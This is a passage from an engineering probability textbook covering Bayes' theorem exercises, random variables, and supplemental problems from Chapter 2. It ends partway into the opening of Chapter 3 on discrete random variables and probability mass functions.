Notice that $P(H|F) + P(S|F) + P(O|F) = 1$ because one of the three types of problems is responsible for the failure. Because $P(O|F)$ is largest, the most likely cause of the problem is in the *other* category. A Web site dialog to diagnose the problem quickly should start with a check into that type of problem.

Practical Interpretation: Such networks are more commonly used to diagnose problems in areas as diverse as electronic products and healthcare.

EXERCISES FOR SECTION 2-7

2-142. Suppose that $P(A|B) = 0.7$, $P(A) = 0.5$, and $P(B) = 0.2$. Determine $P(B|A)$.

2-143. Suppose that $P(A|B) = 0.4$, $P(A|B') = 0.2$, and $P(B) = 0.8$. Determine $P(B|A)$.

2-144. Software to detect fraud in consumer phone cards tracks the number of metropolitan areas where calls originate each day. It is found that 1% of the legitimate users originate calls from two or more metropolitan areas in a single day. However, 30% of fraudulent users originate calls from two or

more metropolitan areas in a single day. The proportion of fraudulent users is 0.01%. If the same user originates calls from two or more metropolitan areas in a single day, what is the probability that the user is fraudulent?

2-145. A new process of more accurately detecting anaerobic respiration in cells is being tested. The new process is important due to its high accuracy, its lack of extensive experimentation, and the fact that it could be used to identify five different categories of organisms: obligate anaerobes, facultative anaerobes, aerotolerant, microaerophiles, and nanaerobes instead of using a single test for each category. The process claims that it can identify obligate anaerobes with 97.8% accuracy, facultative anaerobes with 98.1% accuracy, aerotolerant with 95.9% accuracy, microaerophiles with 96.5% accuracy, and nanaerobes with 99.2% accuracy. If any category is not present, the process does not signal. Samples are prepared for the calibration of the process and 31% of them contain obligate anaerobes, 27% contain facultative anaerobes, 21% contain microaerophiles, 13% contain nanaerobes, and 8% contain aerotolerant. A test sample is selected randomly.

(a) What is the probability that the process will signal?
(b) If the test signals, what is the probability that microaerophiles are present?

2-146. In the 2004 presidential election, exit polls from the critical state of Ohio provided the following results:

	Bush	Kerry
no college degree (62%)	50%	50%
college graduate (38%)	53%	46%

If a randomly selected respondent voted for Bush, what is the probability that the person has a college degree?

2-147. Customers are used to evaluate preliminary product designs. In the past, 95% of highly successful products received good reviews, 60% of moderately successful products received good reviews, and 10% of poor products received good reviews. In addition, 40% of products have been highly successful, 35% have been moderately successful, and 25% have been poor products.

(a) What is the probability that a product attains a good review?
(b) If a new design attains a good review, what is the probability that it will be a highly successful product?
(c) If a product does not attain a good review, what is the probability that it will be a highly successful product?

2-148. An inspector working for a manufacturing company has a 99% chance of correctly identifying defective items and a 0.5% chance of incorrectly classifying a good item as defective. The company has evidence that its line produces 0.9% of nonconforming items.

(a) What is the probability that an item selected for inspection is classified as defective?
(b) If an item selected at random is classified as nondefective, what is the probability that it is indeed good?

2-149. A new analytical method to detect pollutants in water is being tested. This new method of chemical analysis is important because, if adopted, it could be used to detect three different contaminants—organic pollutants, volatile solvents, and chlorinated compounds—instead of having to use a single test for each pollutant. The makers of the test claim that it can detect high levels of organic pollutants with 99.7% accuracy, volatile solvents with 99.95% accuracy, and chlorinated compounds with 89.7% accuracy. If a pollutant is not present, the test does not signal. Samples are prepared for the calibration of the test and 60% of them are contaminated with organic pollutants, 27% with volatile solvents, and 13% with traces of chlorinated compounds. A test sample is selected randomly.

(a) What is the probability that the test will signal?
(b) If the test signals, what is the probability that chlorinated compounds are present?

2-150. Consider the endothermic reactions in Exercise 2-50. Use Bayes' Theorem to calculate the probability that a reaction final temperature is 271 K or less given that the heat absorbed is above target.

2-151. Consider the hospital emergency room data in Example 2-8. Use Bayes' Theorem to calculate the probability that a person visits Hospital 4 given they are LWBS.

2-152. Consider the well failure data in Exercise 2-53. Use Bayes' Theorem to calculate the probability that a randomly selected well is in the gneiss group given that the well is failed.

2-153. Two Web colors are used for a site advertisement. If a site visitor arrives from an affiliate, the probabilities of the blue or green colors are 0.8 and 0.2, respectively. If the site visitor arrives from a search site, the blue and green colors are 0.4 and 0.6, respectively. The proportions of visitors from affiliates and search sites are 0.3 and 0.7, respectively. What is the probability that a visitor is from a search site given that the blue ad was viewed?

2-8 RANDOM VARIABLES

We often summarize the outcome from a random experiment by a simple number. In many of the examples of random experiments that we have considered, the sample space has been a description of possible outcomes. In some cases, descriptions of outcomes are sufficient, but in other cases, it is useful to associate a number with each outcome in the sample space. Because the particular outcome of the experiment is not known in advance, the resulting value of our variable is not known in advance. For this reason, the variable that associates a number with the outcome of a random experiment is referred to as a **random variable.**

Random Variable

A **random variable** is a function that assigns a real number to each outcome in the sample space of a random experiment.

Notation is used to distinguish between a random variable and the real number.

Notation

A random variable is denoted by an uppercase letter such as X. After an experiment is conducted, the measured value of the random variable is denoted by a lowercase letter such as $x = 70$ milliamperes.

Sometimes a measurement (such as current in a copper wire or length of a machined part) can assume any value in an interval of real numbers (at least theoretically). Then arbitrary precision in the measurement is possible. Of course, in practice, we might round off to the nearest tenth or hundredth of a unit. The random variable that represents this measurement is said to be a **continuous** random variable. The range of the random variable includes all values in an interval of real numbers; that is, the range can be thought of as a continuum.

In other experiments, we might record a count such as the number of transmitted bits that are received in error. Then the measurement is limited to integers. Or we might record that a proportion such as 0.0042 of the 10,000 transmitted bits were received in error. Then the measurement is fractional, but it is still limited to discrete points on the real line. Whenever the measurement is limited to discrete points on the real line, the random variable is said to be a **discrete** random variable.

Discrete and Continuous Random Variables

A **discrete** random variable is a random variable with a finite (or countably infinite) range.

A **continuous** random variable is a random variable with an interval (either finite or infinite) of real numbers for its range.

In some cases, the random variable X is actually discrete but, because the range of possible values is so large, it might be more convenient to analyze X as a continuous random variable. For example, suppose that current measurements are read from a digital instrument that displays the current to the nearest one-hundredth of a milliampere. Because the possible measurements are limited, the random variable is discrete. However, it might be a more convenient, simple approximation to assume that the current measurements are values of a continuous random variable.

Examples of Random Variables

Examples of **continuous** random variables:
electrical current, length, pressure, temperature, time, voltage, weight

Examples of **discrete** random variables:
number of scratches on a surface, proportion of defective parts among 1000 tested, number of transmitted bits received in error

EXERCISES FOR SECTION 2-8

2-154. Decide whether a discrete or continuous random variable is the best model for each of the following variables:

(a) The time until a projectile returns to earth.
(b) The number of times a transistor in a computer memory changes state in one operation.
(c) The volume of gasoline that is lost to evaporation during the filling of a gas tank.
(d) The outside diameter of a machined shaft.
(e) The number of cracks exceeding one-half inch in 10 miles of an interstate highway.
(f) The weight of an injection-molded plastic part.
(g) The number of molecules in a sample of gas.
(h) The concentration of output from a reactor.
(i) The current in an electronic circuit.

Supplemental Exercises

2-155. Samples of laboratory glass are in small, light packaging or heavy, large packaging. Suppose that 2 and 1% of the sample shipped in small and large packages, respectively, break during transit. If 60% of the samples are shipped in large packages and 40% are shipped in small packages, what proportion of samples break during shipment?

2-156. A sample of three calculators is selected from a manufacturing line, and each calculator is classified as either defective or acceptable. Let A, B, and C denote the events that the first, second, and third calculators, respectively, are defective.

(a) Describe the sample space for this experiment with a tree diagram.

Use the tree diagram to describe each of the following events:

(b) A (c) B
(d) $A \cap B$ (e) $B \cup C$

2-157. Samples of a cast aluminum part are classified on the basis of surface finish (in microinches) and edge finish. The results of 100 parts are summarized as follows:

		edge finish	
		excellent	good
surface	excellent	80	2
finish	good	10	8

Let A denote the event that a sample has excellent surface finish, and let B denote the event that a sample has excellent edge finish. If a part is selected at random, determine the following probabilities:

(a) $P(A)$ (b) $P(B)$
(c) $P(A')$ (d) $P(A \cap B)$
(e) $P(A \cup B)$ (f) $P(A' \cup B)$

2-158. Shafts are classified in terms of the machine tool that was used for manufacturing the shaft and conformance to surface finish and roundness.

2-159. If A, B, and C are mutually exclusive events, is it possible for $P(A) = 0.3$, $P(B) = 0.4$, and $P(C) = 0.5$? Why or why not?

Tool 1		roundness conforms	
		yes	no
surface finish	yes	200	1
conforms	no	4	2

Tool 2		roundness conforms	
		yes	no
surface finish	yes	145	4
conforms	no	8	6

(a) If a shaft is selected at random, what is the probability that the shaft conforms to surface finish requirements or to roundness requirements or is from Tool 1?
(b) If a shaft is selected at random, what is the probability that the shaft conforms to surface finish requirements or does not conform to roundness requirements or is from Tool 2?
(c) If a shaft is selected at random, what is the probability that the shaft conforms to both surface finish and roundness requirements or the shaft is from Tool 2?
(d) If a shaft is selected at random, what is the probability that the shaft conforms to surface finish requirements or the shaft is from Tool 2?

2-160. The analysis of shafts for a compressor is summarized by conformance to specifications:

		roundness conforms	
		yes	no
surface finish	yes	345	5
conforms	no	12	8

(a) If we know that a shaft conforms to roundness requirements, what is the probability that it conforms to surface finish requirements?
(b) If we know that a shaft does not conform to roundness requirements, what is the probability that it conforms to surface finish requirements?

2-161. A researcher receives 100 containers of oxygen. Of those containers, have oxygen that is not ionized, and the rest are ionized. Two samples are randomly selected, without replacement, from the lot.

(a) What is the probability that the first one selected is not ionized?
(b) What is the probability that the second one selected is not ionized given that the first one was ionized?
(c) What is the probability that both are ionized?
(d) How does the answer in part (b) change if samples selected were replaced prior to the next selection?

2-162. A lot contains 15 castings from a local supplier and 25 castings from a supplier in the next state. Two castings are selected randomly, without replacement, from the lot of 40. Let A be the event that the first casting selected is from the local supplier, and let B denote the event that the second casting is selected from the local supplier. Determine:

(a) $P(A)$ (b) $P(B|A)$
(c) $P(A \cap B)$ (d) $P(A \cup B)$

Suppose three castings are selected at random, without replacement, from the lot of 40. In addition to the definitions of events A and B, let C denote the event that the third casting selected is from the local supplier. Determine:

(e) $P(A \cap B \cap C)$
(f) $P(A \cap B \cap C')$

2-163. In the manufacturing of a chemical adhesive, 3% of all batches have raw materials from two different lots. This occurs when holding tanks are replenished and the remaining portion of a lot is insufficient to fill the tanks.

Only 5% of batches with material from a single lot require reprocessing. However, the viscosity of batches consisting of two or more lots of material is more difficult to control, and 40% of such batches require additional processing to achieve the required viscosity.

Let A denote the event that a batch is formed from two different lots, and let B denote the event that a lot requires additional processing. Determine the following probabilities:

(a) $P(A)$ (b) $P(A')$
(c) $P(B|A)$ (d) $P(B|A')$
(e) $P(A \cap B)$ (f) $P(A \cap B')$
(g) $P(B)$

2-164. Incoming calls to a customer service center are classified as complaints (75% of calls) or requests for information (25% of calls). Of the complaints, 40% deal with computer equipment that does not respond and 57% deal with incomplete software installation; in the remaining 3% of complaints the user has improperly followed the installation instructions. The requests for information are evenly divided on technical questions (50%) and requests to purchase more products (50%).

(a) What is the probability that an incoming call to the customer service center will be from a customer who has not followed installation instructions properly?
(b) Find the probability that an incoming call is a request for purchasing more products.

2-165. A congested computer network has a 0.002 probability of losing a data packet and packet losses are independent events. A lost packet must be resent.

(a) What is the probability that an e-mail message with 100 packets will need any to be resent?
(b) What is the probability that an e-mail message with 3 packets will need exactly one to be resent?
(c) If 10 e-mail messages are sent, each with 100 packets, what is the probability that at least one message will need some packets to be resent?

2-166. Samples of a cast aluminum part are classified on the basis of surface finish (in microinches) and length measurements. The results of 100 parts are summarized as follows:

		length	
		excellent	good
surface	excellent	80	2
finish	good	10	8

Let A denote the event that a sample has excellent surface finish, and let B denote the event that a sample has excellent length. Are events A and B independent?

2-167. An optical storage device uses an error recovery procedure that requires an immediate satisfactory readback of any written data. If the readback is not successful after three writing operations, that sector of the disk is eliminated as unacceptable for data storage. On an acceptable portion of the disk, the probability of a satisfactory readback is 0.98. Assume the readbacks are independent. What is the probability that an acceptable portion of the disk is eliminated as unacceptable for data storage?

2-168. Semiconductor lasers used in optical storage products require higher power levels for write operations than for read operations. High-power-level operations lower the useful life of the laser.

Lasers in products used for backup of higher-speed magnetic disks primarily write, and the probability that the useful life exceeds five years is 0.95. Lasers that are in products that are used for main storage spend approximately an equal amount of time reading and writing, and the probability that the useful life exceeds five years is 0.995. Now, 25% of the products from a manufacturer are used for backup and 75% of the products are used for main storage.

Let A denote the event that a laser's useful life exceeds five years, and let B denote the event that a laser is in a product that is used for backup.

Use a tree diagram to determine the following:

(a) $P(B)$ (b) $P(A|B)$
(c) $P(A|B')$ (d) $P(A \cap B)$
(e) $P(A \cap B')$ (f) $P(A)$
(g) What is the probability that the useful life of a laser exceeds five years?
(h) What is the probability that a laser that failed before five years came from a product used for backup?

2-169. Energy released from three cells breaks the molecular bond and converts ATP (adenosine triphosphate) into ADP (adenosine diphosphate). Storage of ATP in muscle cells (even for an athlete) can only sustain maximal muscle power for less than five seconds (a short dash). Three systems are used to replenish ATP: phosphagen system; glycogen-lactic acid system (anaerobic); and aerobic respiration, but the first is only useful for less than 10 seconds, and even the second system provides less than two minutes of ATP. An endurance athlete needs to perform below the anaerobic threshold to sustain energy for

extended periods. A sample of 100 individuals is described by the energy system used in exercise at different intensity levels.

	primarily aerobic	
period	yes	no
1	50	7
2	13	30

Let A denote the event that an individual is in period 2, and let B denote the event that the energy is primarily aerobic. Determine the number of individuals in

(a) $A' \cap B$ (b) B' (c) $A \cup B$

2-170. A sample preparation for a chemical measurement is completed correctly by 25% of the lab technicians, completed with a minor error by 70%, and completed with a major error by 5%.

(a) If a technician is selected randomly to complete the preparation, what is the probability it is completed without error?

(b) What is the probability that it is completed with either a minor or a major error?

2-171. In circuit testing of printed circuit boards, each board either fails or does not fail the test. A board that fails the test is then checked further to determine which one of five defect types is the primary failure mode. Represent the sample space for this experiment.

2-172. The data from 200 machined parts are summarized as follows:

	depth of bore	
edge condition	above target	below target
coarse	15	10
moderate	25	20
smooth	50	80

(a) What is the probability that a part selected has a moderate edge condition and a below-target bore depth?

(b) What is the probability that a part selected has a moderate edge condition or a below-target bore depth?

(c) What is the probability that a part selected does not have a moderate edge condition or does not have a below-target bore depth?

2-173. Computers in a shipment of 100 units contain a portable hard drive, DVD drive, or both, according to the following table:

	portable hard drive	
DVD	yes	no
yes	15	80
no	4	1

Let A denote the event that a computer has a portable hard drive and let B denote the event that a computer has a DVD drive. If one computer is selected randomly, compute

(a) $P(A)$ (b) $P(A \cap B)$ (c) $P(A \cup B)$

(d) $P(A' \cap B)$ (e) $P(A|B)$

2-174. The probability that a customer's order is not shipped on time is 0.05. A particular customer places three orders, and the orders are placed far enough apart in time that they can be considered to be independent events.

(a) What is the probability that all are shipped on time?

(b) What is the probability that exactly one is not shipped on time?

(c) What is the probability that two or more orders are not shipped on time?

2-175. Let E_1, E_2, and E_3 denote the samples that conform to a percentage of solids specification, a molecular weight specification, and a color specification, respectively. A total of 240 samples are classified by the E_1, E_2, and E_3 specifications, where *yes* indicates that the sample conforms.

E_3 yes

		E_2		
		yes	no	Total
E_1	yes	200	1	201
	no	5	4	9
Total		205	5	210

E_3 no

		E_2		
		yes	no	
E_1	yes	20	4	24
	no	6	0	6
Total		26	4	30

(a) Are E_1, E_2, and E_3 mutually exclusive events?

(b) Are E'_1, E'_2, and E'_3 mutually exclusive events?

(c) What is $P(E'_1 \text{ or } E'_2 \text{ or } E'_3)$?

(d) What is the probability that a sample conforms to all three specifications?

(e) What is the probability that a sample conforms to the E_1 or E_3 specification?

(f) What is the probability that a sample conforms to the E_1 or E_2 or E_3 specification?

2-176. Transactions to a computer database are either new items or changes to previous items. The addition of an item can be completed in less than 100 milliseconds 90% of the time, but only 20% of changes to a previous item can be completed in less than this time. If 30% of transactions are changes, what is the probability that a transaction can be completed in less than 100 milliseconds?

2-177. A steel plate contains 20 bolts. Assume that five bolts are not torqued to the proper limit. Four bolts are selected at random, without replacement, to be checked for torque.

(a) What is the probability that all four of the selected bolts are torqued to the proper limit?

(b) What is the probability that at least one of the selected bolts is not torqued to the proper limit?

2-178. The following circuit operates if and only if there is a path of functional devices from left to right. Assume devices fail independently and that the probability of *failure* of each device is as shown. What is the probability that the circuit operates?

2-179. The probability of getting through by telephone to buy concert tickets is 0.92. For the same event, the probability of accessing the vendor's Web site is 0.95. Assume that these two ways to buy tickets are independent. What is the probability that someone who tries to buy tickets through the Internet and by phone will obtain tickets?

2-180. The British government has stepped up its information campaign regarding foot-and-mouth disease by mailing brochures to farmers around the country. It is estimated that 99% of Scottish farmers who receive the brochure possess enough information to deal with an outbreak of the disease, but only 90% of those without the brochure can deal with an outbreak. After the first three months of mailing, 95% of the farmers in Scotland received the informative brochure. Compute the probability that a randomly selected farmer will have enough information to deal effectively with an outbreak of the disease.

2-181. In an automated filling operation, the probability of an incorrect fill when the process is operated at a low speed is 0.001. When the process is operated at a high speed, the probability of an incorrect fill is 0.01. Assume that 30% of the containers are filled when the process is operated at a high speed and the remainder are filled when the process is operated at a low speed.

(a) What is the probability of an incorrectly filled container?
(b) If an incorrectly filled container is found, what is the probability that it was filled during the high-speed operation?

2-182. An encryption-decryption system consists of three elements: encode, transmit, and decode. A faulty encode occurs in 0.5% of the messages processed, transmission errors occur in 1% of the messages, and a decode error occurs in 0.1% of the messages. Assume the errors are independent.

(a) What is the probability of a completely defect-free message?
(b) What is the probability of a message that has either an encode or a decode error?

2-183. It is known that two defective copies of a commercial software program were erroneously sent to a shipping lot that now has a total of 75 copies of the program. A sample of copies will be selected from the lot without replacement.

(a) If three copies of the software are inspected, determine the probability that exactly one of the defective copies will be found.
(b) If three copies of the software are inspected, determine the probability that both defective copies will be found.
(c) If 73 copies are inspected, determine the probability that both copies will be found. Hint: Work with the copies that remain in the lot.

2-184. A robotic insertion tool contains 10 primary components. The probability that any component fails during the warranty period is 0.01. Assume that the components fail independently and that the tool fails if any component fails. What is the probability that the tool fails during the warranty period?

2-185. An e-mail message can travel through one of two server routes. The probability of transmission error in each of the servers and the proportion of messages that travel each route are shown in the following table. Assume that the servers are independent.

		probability of error			
	percentage of messages	server 1	server 2	server 3	server 4
route 1	30	0.01	0.015		
route 2	70			0.02	0.003

(a) What is the probability that a message will arrive without error?
(b) If a message arrives in error, what is the probability it was sent through route 1?

2-186. A machine tool is idle 15% of the time. You request immediate use of the tool on five different occasions during the year. Assume that your requests represent independent events.

(a) What is the probability that the tool is idle at the time of all of your requests?
(b) What is the probability that the machine is idle at the time of exactly four of your requests?
(c) What is the probability that the tool is idle at the time of at least three of your requests?

2-187. A lot of 50 spacing washers contains 30 washers that are thicker than the target dimension. Suppose that three washers are selected at random, without replacement, from the lot.

(a) What is the probability that all three washers are thicker than the target?
(b) What is the probability that the third washer selected is thicker than the target if the first two washers selected are thinner than the target?
(c) What is the probability that the third washer selected is thicker than the target?

2-188. Continuation of Exercise 2-187. Washers are selected from the lot at random, without replacement.

(a) What is the minimum number of washers that need to be selected so that the probability that all the washers are thinner than the target is less than 0.10?
(b) What is the minimum number of washers that need to be selected so that the probability that one or more washers are thicker than the target is at least 0.90?

2-189. The following table lists the history of 940 orders for features in an entry-level computer product.

		extra memory	
		no	yes
optional high-	no	514	68
speed processor	yes	112	246

Let A be the event that an order requests the optional high-speed processor, and let B be the event that an order requests extra memory. Determine the following probabilities:
(a) $P(A \cup B)$ (b) $P(A \cap B)$
(c) $P(A' \cup B)$ (d) $P(A' \cap B')$
(e) What is the probability that an order requests an optional high-speed processor given that the order requests extra memory?
(f) What is the probability that an order requests extra memory given that the order requests an optional high-speed processor?

2-190. The alignment between the magnetic tape and head in a magnetic tape storage system affects the performance of the system. Suppose that 10% of the read operations are degraded by skewed alignments, 5% of the read operations are degraded by off-center alignments, and the remaining read operations are properly aligned. The probability of a read error is 0.01 from a skewed alignment, 0.02 from an off-center alignment, and 0.001 from a proper alignment.
(a) What is the probability of a read error?
(b) If a read error occurs, what is the probability that it is due to a skewed alignment?

2-191. The following circuit operates if and only if there is a path of functional devices from left to right. Assume that devices fail independently and that the probability of *failure* of each device is as shown. What is the probability that the circuit does not operate?

2-192. A company that tracks the use of its web site determined that the more pages a visitor views, the more likely the visitor is to provide contact information. Use the following tables to answer the questions:

Number of pages viewed:	1	2	3	4 or more
Percentage of visitors:	40	30	20	10
Percentage of visitors in each page-view category that provide contact information:	10	10	20	40

(a) What is the probability that a visitor to the Web site provides contact information?
(b) If a visitor provides contact information, what is the probability that the visitor viewed four or more pages?

2-193. An article in *Genome Research* ["An Assessment of Gene Prediction Accuracy in Large DNA Sequences" (2000, Vol. 10, pp. 1631–1642)], considered the accuracy of commercial software to predict nucleotides in gene sequences. The following table shows the number of sequences for which the programs produced predictions and the number of nucleotides correctly predicted (computed globally from the total number of prediction successes and failures on all sequences).

	Number of Sequences	Proportion
GenScan	177	0.93
Blastx default	175	0.91
Blastx topcomboN	174	0.97
Blastx 2 stages	175	0.90
GeneWise	177	0.98
Procrustes	177	0.93

Assume the prediction successes and failures are independent among the programs.
(a) What is the probability that all programs predict a nucleotide correctly?
(b) What is the probability that all programs predict a nucleotide incorrectly?
(c) What is the probability that at least one Blastx program predicts a nucleotide correctly?

2-194. A batch contains 36 bacteria cells. Assume that 12 of the cells are not capable of cellular replication. Six cells are selected at random, without replacement, to be checked for replication.
(a) What is the probability that all six cells of the selected cells are able to replicate?
(b) What is the probability that at least one of the selected cells is not capable of replication?

2-195. A computer system uses passwords that are exactly seven characters and each character is one of the 26 letters (a–z) or 10 integers (0–9). Uppercase letters are not used.

(a) How many passwords are possible?

(b) If a password consists of exactly six letters and one number, how many passwords are possible?

(c) If a password consists of five letters followed by two numbers, how many passwords are possible?

2-196. Natural red hair consists of two genes. People with red hair have two dominant genes, two regressive genes, or one dominant and one regressive gene. A group of 1000 people was categorized as follows:

	Gene 2		
Gene 1	Dominant	Regressive	Other
Dominant	5	25	30
Regressive	7	63	35
Other	20	15	800

Let A denote the event that a person has a dominant red hair gene and let B denote the event that a person has a regressive red hair gene. If a person is selected at random from this group, compute the following.

(a) $P(A)$ (b) $P(A \cap B)$

(c) $P(A \cup B)$ (d) $P(A' \cap B)$ (e) $P(A \mid B)$

(f) Probability that the selected person has red hair

2-197. Two suppliers each supplied 2000 parts and these were evaluated for conformance to specifications. One part type was of greater complexity than the other. The proportion of nonconforming parts of each type are shown in the table.

Supplier		Simple Component	Complex Assembly	Total
1	Nonconforming	2	10	12
	Total	1000	1000	2000
2	Nonconforming	4	6	10
	Total	1600	400	2000

One part is selected at random from each supplier. For each supplier, separately calculate the following probabilities:

(a) What is the probability a part conforms to specifications?

(b) What is the probability a part conforms to specifications given it is a complex assembly?

(c) What is the probability a part conforms to specifications given it is a simple component?

(d) Compare your answers for each supplier in part (a) to those in parts (b) and (c) and explain any unusual results.

MIND-EXPANDING EXERCISES

2-198. Suppose documents in a lending organization are selected randomly (without replacement) for review. In a set of 50 documents, suppose that two actually contain errors.

(a) What is the minimum sample size such that the probability exceeds 0.90 that at least one document in error is selected?

(b) Comment on the effectiveness of sampling inspection to detect errors.

2-199. Suppose that a lot of washers is large enough that it can be assumed that the sampling is done with replacement. Assume that 60% of the washers exceed the target thickness.

(a) What is the minimum number of washers that need to be selected so that the probability that none are thicker than the target is less than 0.10?

(b) What is the minimum number of washers that need to be selected so that the probability that one or more washers are thicker than the target is at least 0.90?

2-200. A biotechnology manufacturing firm can produce diagnostic test kits at a cost of \$20. Each kit for which there is a demand in the week of production can be sold for \$100. However, the half-life of components in the kit requires the kit to be scrapped if it is not sold in the week of production. The cost of scrapping the kit is \$5. The weekly demand is summarized as follows:

weekly demand				
Number of units	0	50	100	200
Probability of demand	0.05	0.4	0.3	0.25

How many kits should be produced each week to maximize the mean earnings of the firm?

2-201. Assume the following characteristics of the inspection process in Exercise 2-177. If an operator checks a bolt, the probability that an incorrectly torqued bolt is identified is 0.95. If a checked bolt is correctly

MIND-EXPANDING EXERCISES

torqued, the operator's conclusion is always correct. What is the probability that at least one bolt in the sample of four is identified as being incorrectly torqued?

2-202. If the events A and B are independent, show that A' and B' are independent.

2-203. Suppose that a table of part counts is generalized as follows:

		conforms	
		yes	no
supplier	1	ka	kb
	2	a	b

where a, b, and k are positive integers. Let A denote the event that a part is from supplier 1 and let B denote the event that a part conforms to specifications. Show that A and B are independent events.

This exercise illustrates the result that whenever the rows of a table (with r rows and c columns) are proportional, an event defined by a row category and an event defined by a column category are independent.

IMPORTANT TERMS AND CONCEPTS

Addition rule
Axioms of probability
Bayes' theorem
Combination
Conditional probability
Equally likely outcomes
Event
Independence
Multiplication rule
Mutually exclusive events
Outcome
Permutation
Probability
Random experiment
Random variables—discrete and continuous
Sample spaces—discrete and continuous
Simpson's paradox
Total probability rule
Tree diagram
Venn diagram
With or without replacement

3

Thinkstock Images/Getty Images, Inc.

Discrete Random Variables and Probability Distributions

A redundant array of independent disks (RAID) uses multiple physical disk drives as one logical unit in a computer system. The array can increase performance and robustness to a disk failure. Data copies can be written simultaneously to multiple drives (known as *mirroring*) to provide immediate backup and the ability to recover from failures, but with less storage capacity than would otherwise be available. Alternatively, to increase performance, the data can be distributed among multiple disks with only a fraction of the data on each one (known as *striping*). But a failure to even a single disk can lead to loss of data. An intermediate design is to distribute the source data along with additional data (known as parity data) across multiple disks. With the parity data the source data can be recovered even with disk failures. In particular, a RAID 5 design uses striping and parity to be able to recover the source data if one disk in the array fails, while a RAID 6 design allows for data recovery even if two disks fail. Disk failures due to hardware malfunction are often assumed to be independent with constant probability. With a large number of disks in an array the risk of data loss and the appropriate array design to meet the system performance, availability, and cost criteria are important. The number of failed drives can be modeled as a discrete random variable and the risk of data loss in a redundant system is only one example of the use of topics in this chapter.

CHAPTER OUTLINE

3-1 DISCRETE RANDOM VARIABLES

3-2 PROBABILITY DISTRIBUTIONS AND PROBABILITY MASS FUNCTIONS

3-3 CUMULATIVE DISTRIBUTION FUNCTIONS

3-4 MEAN AND VARIANCE OF A DISCRETE RANDOM VARIABLE

3-5 DISCRETE UNIFORM DISTRIBUTION

3-6 BINOMIAL DISTRIBUTION

3-7 GEOMETRIC AND NEGATIVE BINOMIAL DISTRIBUTIONS

3-8 HYPERGEOMETRIC DISTRIBUTION

3-9 POISSON DISTRIBUTION

LEARNING OBJECTIVES

After careful study of this chapter you should be able to do the following:

1. **Determine probabilities from probability mass functions and the reverse**
2. **Determine probabilities from cumulative distribution functions and cumulative distribution functions from probability mass functions, and the reverse**
3. **Calculate means and variances for discrete random variables**
4. **Understand the assumptions for some common discrete probability distributions**
5. **Select an appropriate discrete probability distribution to calculate probabilities in specific applications**
6. **Calculate probabilities, determine means and variances for some common discrete probability distributions**

3-1 DISCRETE RANDOM VARIABLES

Many physical systems can be modeled by the same or similar random experiments and random variables. The distribution of the random variables involved in each of these common systems can be analyzed, and the results can be used in different applications and examples. In this chapter, we present the analysis of several random experiments and **discrete random variables** that frequently arise in applications. We often omit a discussion of the underlying sample space of the random experiment and directly describe the distribution of a particular random variable.

EXAMPLE 3-1 Voice Lines

A voice communication system for a business contains 48 external lines. At a particular time, the system is observed, and some of the lines are being used. Let the random variable X denote the number of lines in use. Then, X can assume any of the integer values 0 through 48. When the system is observed, if 10 lines are in use, $x = 10$.

EXAMPLE 3-2

In a semiconductor manufacturing process, two wafers from a lot are tested. Each wafer is classified as *pass* or *fail*. Assume that the probability that a wafer passes the test is 0.8 and that wafers are independent. The sample space for the experiment and associated probabilities are shown in Table 3-1. For example, because of the independence, the probability of the outcome that the first wafer tested passes and the second wafer tested fails, denoted as *pf*, is

$$P(pf) = 0.8(0.2) = 0.16$$

The random variable X is defined to be equal to the number of wafers that pass. The last column of the table shows the values of X that are assigned to each outcome in the experiment.

EXAMPLE 3-3

Define the random variable X to be the number of contamination particles on a wafer in semiconductor manufacturing. Although wafers possess a number of characteristics, the random variable X summarizes the wafer only in terms of the number of particles.

The possible values of X are integers from zero up to some large value that represents the maximum number of particles that can be found on one of the wafers. If this maximum number is very large, we might simply assume that the range of X is the set of integers from zero to infinity.

Note that more than one random variable can be defined on a sample space. In Example 3-3, we might also define the random variable Y to be the number of chips from a wafer that fail the final test.

Table 3-1 Wafer Tests

Outcome			
Wafer 1	Wafer 2	Probability	x
Pass	Pass	0.64	2
Fail	Pass	0.16	1
Pass	Fail	0.16	1
Fail	Fail	0.04	0

EXERCISES FOR SECTION 3-1

For each of the following exercises, determine the range (possible values) of the random variable.

3-1. The random variable is the number of nonconforming solder connections on a printed circuit board with 1000 connections.

3-2. In a voice communication system with 50 lines, the random variable is the number of lines in use at a particular time.

3-3. An electronic scale that displays weights to the nearest pound is used to weigh packages. The display shows only five digits. Any weight greater than the display can indicate is shown as 99999. The random variable is the displayed weight.

3-4. A batch of 500 machined parts contains 10 that do not conform to customer requirements. The random variable is the number of parts in a sample of five parts that do not conform to customer requirements.

3-5. A batch of 500 machined parts contains 10 that do not conform to customer requirements. Parts are selected successively, without replacement, until a nonconforming part is obtained. The random variable is the number of parts selected.

3-6. The random variable is the moisture content of a lot of raw material, measured to the nearest percentage point.

3-7. The random variable is the number of surface flaws in a large coil of galvanized steel.

3-8. The random variable is the number of computer clock cycles required to complete a selected arithmetic calculation.

3-9. An order for an automobile can select the base model or add any number of 15 options. The random variable is the number of options selected in an order.

3-10. Wood paneling can be ordered in thicknesses of 1/8, 1/4, or 3/8 inch. The random variable is the total thickness of paneling in two orders.

3-11. A group of 10,000 people are tested for a gene called Ifi202 that has been found to increase the risk for lupus. The random variable is the number of people who carry the gene.

3-12. In an acid-base titration, the milliliters of base that are needed to reach equivalence are measured to the nearest milliliter between 0.1 and 0.15 liters (inclusive).

3-13. The number of mutations in a nucleotide sequence of length 40,000 in a DNA strand after exposure to radiation is measured. Each nucleotide may be mutated.

3-2 PROBABILITY DISTRIBUTIONS AND PROBABILITY MASS FUNCTIONS

Random variables are so important in random experiments that sometimes we essentially ignore the original sample space of the experiment and focus on the probability distribution of the random variable. For example, in Example 3-1, our analysis might focus exclusively on the integers $\{0, 1, \ldots, 48\}$ in the range of X. In Example 3-2, we might summarize the random experiment in terms of the three possible values of X, namely $\{0, 1, 2\}$. In this manner, a random variable can simplify the description and analysis of a random experiment.

The **probability distribution** of a random variable X is a description of the probabilities associated with the possible values of X. For a discrete random variable, the distribution is often specified by just a list of the possible values along with the probability of each. In some cases, it is convenient to express the probability in terms of a formula.

EXAMPLE 3-4 Digital Channel

There is a chance that a bit transmitted through a digital transmission channel is received in error. Let X equal the number of bits in error in the next four bits transmitted. The possible values for X are $\{0, 1, 2, 3, 4\}$. Based on a model for the errors that is presented in the following section, probabilities for these values will be determined. Suppose that the probabilities are

$P(X = 0) = 0.6561$ $\quad P(X = 1) = 0.2916$

